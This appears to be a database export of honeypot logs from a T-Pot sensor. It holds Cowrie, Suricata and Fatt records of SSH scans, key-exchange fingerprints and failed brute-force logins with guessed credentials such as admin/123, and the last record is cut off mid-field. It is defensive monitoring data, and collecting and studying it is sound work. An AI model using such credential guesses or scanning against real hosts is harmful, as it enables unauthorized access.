ssh	\N	\N	\N	\N
27538	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:55.255713+03	2021-09-20 14:15:14.715646+03	{"_id": "eQbqAnwBvYTbRNuEgigk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43126, "timestamp": "2021-09-20T11:14:55.255713", "@timestamp": "2021-09-20T11:14:55.255Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27594	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:06.114922+03	2021-09-20 14:30:01.672524+03	{"_id": "OwbqAnwBvYTbRNuErSnn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ggg/ggg] failed", "session": "29aca63c6f1e", "@version": "1", "password": "ggg", "username": "ggg", "timestamp": "2021-09-20T11:15:06.114922Z", "@timestamp": "2021-09-20T11:15:06.114Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27539	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:14:55.254711+03	2021-09-20 14:15:14.716646+03	{"_id": "mAbqAnwBvYTbRNuEhCjT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:14:55.254711+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 125758474281719, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 52166, "dest_port": 22, "timestamp": "2021-09-20T11:14:55.254711Z", "@timestamp": "2021-09-20T11:14:55.254Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27540	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:14:55.44836+03	2021-09-20 14:15:14.717646+03	{"_id": "mgbqAnwBvYTbRNuEhCjU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2104198651916840, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45050, "dest_port": 22, "timestamp": "2021-09-20T11:14:55.448360Z", "@timestamp": "2021-09-20T11:14:55.448Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27541	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:14:55.821339+03	2021-09-20 14:15:14.718646+03	{"_id": "mwbqAnwBvYTbRNuEhCjV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 125758474281719, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52166, "dest_port": 22, "timestamp": "2021-09-20T11:14:55.821339Z", "@timestamp": "2021-09-20T11:14:55.821Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27542	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:14:55.821743+03	2021-09-20 14:15:14.719645+03	{"_id": "ngbqAnwBvYTbRNuEhigN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52166, "dest_port": 22, "timestamp": "2021-09-20T11:14:55.821743", "@timestamp": "2021-09-20T11:14:55.821Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27543	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:14:55.531271+03	2021-09-20 14:15:14.721647+03	{"_id": "nQbqAnwBvYTbRNuEhigN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43126, "dest_port": 22, "timestamp": "2021-09-20T11:14:55.531271", "@timestamp": "2021-09-20T11:14:55.531Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27544	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:55.796666+03	2021-09-20 14:15:14.722645+03	{"_id": "oAbqAnwBvYTbRNuEhijS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:33910 (192.168.176.2:22) [session: f2d6ae19a948]", "session": "f2d6ae19a948", "@version": "1", "protocol": "ssh", "src_port": 33910, "dest_port": 22, "timestamp": "2021-09-20T11:14:55.796666Z", "@timestamp": "2021-09-20T11:14:55.796Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27545	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:56.233861+03	2021-09-20 14:15:14.723646+03	{"_id": "oQbqAnwBvYTbRNuEhijS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:36948 (192.168.176.2:22) [session: 9ff1d39e97cb]", "session": "9ff1d39e97cb", "@version": "1", "protocol": "ssh", "src_port": 36948, "dest_port": 22, "timestamp": "2021-09-20T11:14:56.233861Z", "@timestamp": "2021-09-20T11:14:56.233Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27546	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:56.685341+03	2021-09-20 14:15:14.724646+03	{"_id": "ogbqAnwBvYTbRNuEhijS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:49772 (192.168.176.2:22) [session: ab0dd4afbe8c]", "session": "ab0dd4afbe8c", "@version": "1", "protocol": "ssh", "src_port": 49772, "dest_port": 22, "timestamp": "2021-09-20T11:14:56.685341Z", "@timestamp": "2021-09-20T11:14:56.685Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27547	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:55.759149+03	2021-09-20 14:15:14.725646+03	{"_id": "rgbqAnwBvYTbRNuEhijS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/123] failed", "session": "6e49fc325f15", "@version": "1", "password": "123", "username": "admin", "timestamp": "2021-09-20T11:14:55.759149Z", "@timestamp": "2021-09-20T11:14:55.759Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27548	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:55.799603+03	2021-09-20 14:15:14.726646+03	{"_id": "rwbqAnwBvYTbRNuEhijS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f2d6ae19a948", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:55.799603Z", "@timestamp": "2021-09-20T11:14:55.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27554	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:56.686448+03	2021-09-20 14:15:14.734646+03	{"_id": "tgbqAnwBvYTbRNuEiSj2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49772, "timestamp": "2021-09-20T11:14:56.686448", "@timestamp": "2021-09-20T11:14:56.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27549	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:55.822521+03	2021-09-20 14:15:14.728645+03	{"_id": "sAbqAnwBvYTbRNuEhijS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", 